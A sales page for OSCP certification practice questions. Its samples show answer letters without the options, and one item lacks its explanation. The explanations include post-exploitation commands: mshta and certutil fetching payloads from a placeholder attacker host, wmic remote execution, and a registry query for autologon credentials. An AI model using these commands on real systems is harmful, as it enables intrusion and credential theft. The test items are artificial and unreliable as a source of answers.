What does "wmic" allow in post-exploitation?
Answer: B
wmic queries system info and enables remote execution (if local admin): "wmic /node:TARGET process call create cmd /c whoami". LotL technique.
OffSec Certified Professional
Price$69
Prices in USD. Downloads appear in My Account once your order is complete.
Check the style and quality of the material before you buy.
What does "wmic" allow in post-exploitation?
Answer: B
wmic queries system info and enables remote execution (if local admin): "wmic /node:TARGET process call create cmd /c whoami". LotL technique.
What is the purpose of "reg query" in Windows post-exploitation?
Answer: B
"reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" shows autologon credentials. Also finds saved SSH passwords in PuTTY sessions.
What is "mshta.exe" used for in post-exploitation?
Answer: A
mshta.exe executes HTML Applications. Used for payload execution: "mshta http://attacker/payload.hta . Commonly used in phishing and LotL attacks.
What is "certutil.exe" used for in pentesting (LotL)?
Answer: B
certutil.exe abused as file downloader: "certutil -urlcache -split -f http://attacker/file.exe C:\temp\file.exe". Living-off-the-land technique.
What is "kerbrute" used for?
Answer: B
Kerbrute enumerates valid domain usernames by checking Kerberos pre-authentication errors without causing lockouts
What does "rpcclient -U target" do?
Answer: B
rpcclient connects to Microsoft RPC service. With null session: enumdomusers lists domain users, querydominfo shows domain info.
What is "smbclient" used for?
Answer: B
"smbclient //TARGET/share -U user" connects to SMB shares. Commands: ls, get file, put file, mget *. "smbclient -L //TARGET -N" lists shares anonymously.
What is PowerShell "Invoke-WebRequest" (iwr) used for in pentesting?
Answer: B
What does "base64 -d" do?
Answer: B
base64 -d decodes base64. Useful for decoding credentials, obfuscated scripts, or encoded payloads found during enumeration.
What is "stty raw -echo; fg" used for in shells?
Answer: B
Shell upgrade: 1) python3 pty.spawn bash 2) Ctrl+Z 3) stty raw -echo; fg 4) export TERM=xterm. Gives full interactive shell.
The OffSec OSCP certification is a strong way to demonstrate your understanding and ability. Our OSCP questions & answers help you prepare for it, so you can secure your current position and move your career forward.
We keep our OSCP practice questions up to date, with explanations. The questions and answers on RealExamCollection are reviewed by people with professional experience of OffSec technologies.
RealExamCollection brings together the material you need for the OffSec OSCP exam. Explanations are added to the questions to help you understand the logic behind them and prepare for other OffSec exams.
We update the exam files regularly to add new questions. The date of the latest update is shown at the top of this page.
You can view sample OSCP questions on this page before buying, to see the format and pattern of the material.
You are eligible for 90 days of free updates after buying the OSCP exam. If the file is updated in that time, you can download the latest version from your account.